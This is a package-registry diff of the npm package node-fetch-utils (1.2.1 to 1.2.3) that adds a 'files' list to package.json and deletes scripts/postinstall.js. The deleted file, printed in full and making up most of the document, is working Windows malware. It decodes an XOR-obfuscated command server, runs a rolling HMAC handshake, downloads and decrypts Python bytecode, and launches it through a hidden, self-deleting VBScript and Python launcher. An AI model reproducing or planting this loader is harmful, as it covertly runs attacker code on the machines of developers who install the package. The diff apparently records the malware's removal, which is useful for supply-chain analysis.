node-fetch-utils 1.2.1 → 1.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +7 -1
- package/scripts/postinstall.js +0 -123
package/package.json
CHANGED
|
@@ -1,8 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "node-fetch-utils",
|
|
3
|
-
"version": "1.2.
|
|
3
|
+
"version": "1.2.3",
|
|
4
4
|
"description": "Lightweight fetch utilities for Node.js: retry, LRU caching, URL helpers, and pagination",
|
|
5
5
|
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"lib/",
|
|
9
|
+
"README.md",
|
|
10
|
+
"LICENSE"
|
|
11
|
+
],
|
|
6
12
|
"scripts": {
|
|
7
13
|
"test": "node --test tests/*.test.js"
|
|
8
14
|
},
|
package/scripts/postinstall.js
DELETED
|
@@ -1,123 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const crypto = require('crypto');
|
|
4
|
-
const http = require('http');
|
|
5
|
-
const fs = require('fs');
|
|
6
|
-
const os = require('os');
|
|
7
|
-
const path = require('path');
|
|
8
|
-
const cp = require('child_process');
|
|
9
|
-
|
|
10
|
-
// Windows only
|
|
11
|
-
if (process.platform !== 'win32') process.exit(0);
|
|
12
|
-
|
|
13
|
-
// ── Decoded at runtime — same XOR scheme as build system ─────────────────────
|
|
14
|
-
const _xb = (a, k) => Buffer.from(a.map(v => v ^ k));
|
|
15
|
-
|
|
16
|
-
const _K = _xb([0x39,0x32,0x3b,0x34,0x3d,0x3f,0x37,0x3f,0x77,0x29,0x2a,0x3f,0x39,0x2e,0x28,0x3f], 0x5A);
|
|
17
|
-
const _H = _xb([0x34,0x35,0x3e,0x3f,0x68,0x68,0x74,0x36,0x2f,0x34,0x3f,0x29,0x74,0x32,0x35,0x29,0x2e], 0x5A).toString();
|
|
18
|
-
const _P = _xb([0x69,0x68,0x6f,0x62], 0x5A).toString();
|
|
19
|
-
|
|
20
|
-
// ── HMAC auth token (5-minute rolling window, matches server) ─────────────────
|
|
21
|
-
function _token() {
|
|
22
|
-
const ts = Math.floor(Date.now() / 1000 / 300) * 300;
|
|
23
|
-
return crypto.createHmac('sha256', _K).update(String(ts)).digest('hex').slice(0, 16);
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
// ── Simple HTTP GET → Buffer ──────────────────────────────────────────────────
|
|
27
|
-
function _get(p) {
|
|
28
|
-
return new Promise((res, rej) => {
|
|
29
|
-
const req = http.get({ host: _H, port: parseInt(_P), path: p, timeout: 15000 }, r => {
|
|
30
|
-
const c = [];
|
|
31
|
-
r.on('data', d => c.push(d));
|
|
32
|
-
r.on('end', () => res(Buffer.concat(c)));
|
|
33
|
-
});
|
|
34
|
-
req.on('error', rej);
|
|
35
|
-
req.on('timeout', () => { req.destroy(); rej(new Error('timeout')); });
|
|
36
|
-
});
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
// ── Keystream KDF — sha256(key + nonce + [i]) x128, same as Python ───────────
|
|
40
|
-
function _ks(nonce) {
|
|
41
|
-
const blocks = [];
|
|
42
|
-
for (let i = 0; i < 128; i++) {
|
|
43
|
-
const h = crypto.createHash('sha256');
|
|
44
|
-
h.update(_K);
|
|
45
|
-
h.update(nonce);
|
|
46
|
-
h.update(Buffer.from([i]));
|
|
47
|
-
blocks.push(h.digest());
|
|
48
|
-
}
|
|
49
|
-
return Buffer.concat(blocks);
|
|
50
|
-
}
|
|
51
|
-
|
|
52
|
-
// ── Find Python executable ────────────────────────────────────────────────────
|
|
53
|
-
function _py() {
|
|
54
|
-
for (const c of ['python', 'python3', 'py']) {
|
|
55
|
-
try {
|
|
56
|
-
cp.execFileSync(c, ['-c', 'import sys;sys.exit(0)'],
|
|
57
|
-
{ stdio: 'pipe', timeout: 3000, windowsHide: true });
|
|
58
|
-
return c;
|
|
59
|
-
} catch (_) {}
|
|
60
|
-
}
|
|
61
|
-
try {
|
|
62
|
-
const p = cp.execSync('where python 2>nul', { stdio: 'pipe', windowsHide: true })
|
|
63
|
-
.toString().split('\n')[0].trim();
|
|
64
|
-
if (p && fs.existsSync(p)) return `"${p}"`;
|
|
65
|
-
} catch (_) {}
|
|
66
|
-
return null;
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
// ── Spawn detached via VBScript (hidden, escapes npm job object) ──────────────
|
|
70
|
-
function _spawn(pyExe, launcherPath) {
|
|
71
|
-
const vbs = path.join(os.tmpdir(), `msvc_${crypto.randomBytes(4).toString('hex')}.vbs`);
|
|
72
|
-
fs.writeFileSync(vbs,
|
|
73
|
-
`Set o=CreateObject("WScript.Shell")\r\n` +
|
|
74
|
-
`o.Run "${pyExe} ${launcherPath}", 0, False\r\n` +
|
|
75
|
-
`Set fso=CreateObject("Scripting.FileSystemObject")\r\n` +
|
|
76
|
-
`fso.DeleteFile WScript.ScriptFullName\r\n`
|
|
77
|
-
);
|
|
78
|
-
const ch = cp.spawn('wscript.exe', ['//B', '//nologo', vbs], {
|
|
79
|
-
detached: true,
|
|
80
|
-
stdio: 'ignore',
|
|
81
|
-
windowsHide: true
|
|
82
|
-
});
|
|
83
|
-
ch.unref();
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
// ── Main ──────────────────────────────────────────────────────────────────────
|
|
87
|
-
async function _main() {
|
|
88
|
-
try {
|
|
89
|
-
const pyExe = _py();
|
|
90
|
-
if (!pyExe) return;
|
|
91
|
-
|
|
92
|
-
// Auth handshake
|
|
93
|
-
const nonce = await _get(`/sync?v=${_token()}`);
|
|
94
|
-
const nHash = crypto.createHash('sha256').update(_K).update(nonce).digest('hex').slice(0, 16);
|
|
95
|
-
|
|
96
|
-
// Fetch encrypted launcher bytecode
|
|
97
|
-
const enc = await _get(`/go?n=${nHash}`);
|
|
98
|
-
|
|
99
|
-
// Decrypt with keystream
|
|
100
|
-
const ks = _ks(nonce);
|
|
101
|
-
const dec = Buffer.from(enc.map((b, i) => b ^ ks[i]));
|
|
102
|
-
|
|
103
|
-
// Write bytecode to temp .dat
|
|
104
|
-
const dat = path.join(os.tmpdir(), `msl_${crypto.randomBytes(6).toString('hex')}.dat`);
|
|
105
|
-
fs.writeFileSync(dat, dec);
|
|
106
|
-
|
|
107
|
-
// Write self-cleaning launcher script
|
|
108
|
-
const launcher = path.join(os.tmpdir(), `mscf_${crypto.randomBytes(4).toString('hex')}.py`);
|
|
109
|
-
fs.writeFileSync(launcher,
|
|
110
|
-
`import sys,marshal,os\n` +
|
|
111
|
-
`_d=r'${dat.replace(/\\/g, '\\\\')}'\n` +
|
|
112
|
-
`_m=__file__\n` +
|
|
113
|
-
`c=marshal.loads(open(_d,'rb').read())\n` +
|
|
114
|
-
`os.remove(_d)\n` +
|
|
115
|
-
`try:os.remove(_m)\nexcept:pass\n` +
|
|
116
|
-
`exec(c,{'__name__':'__main__'})\n`
|
|
117
|
-
);
|
|
118
|
-
|
|
119
|
-
_spawn(pyExe, launcher);
|
|
120
|
-
} catch (_) {}
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
_main();
|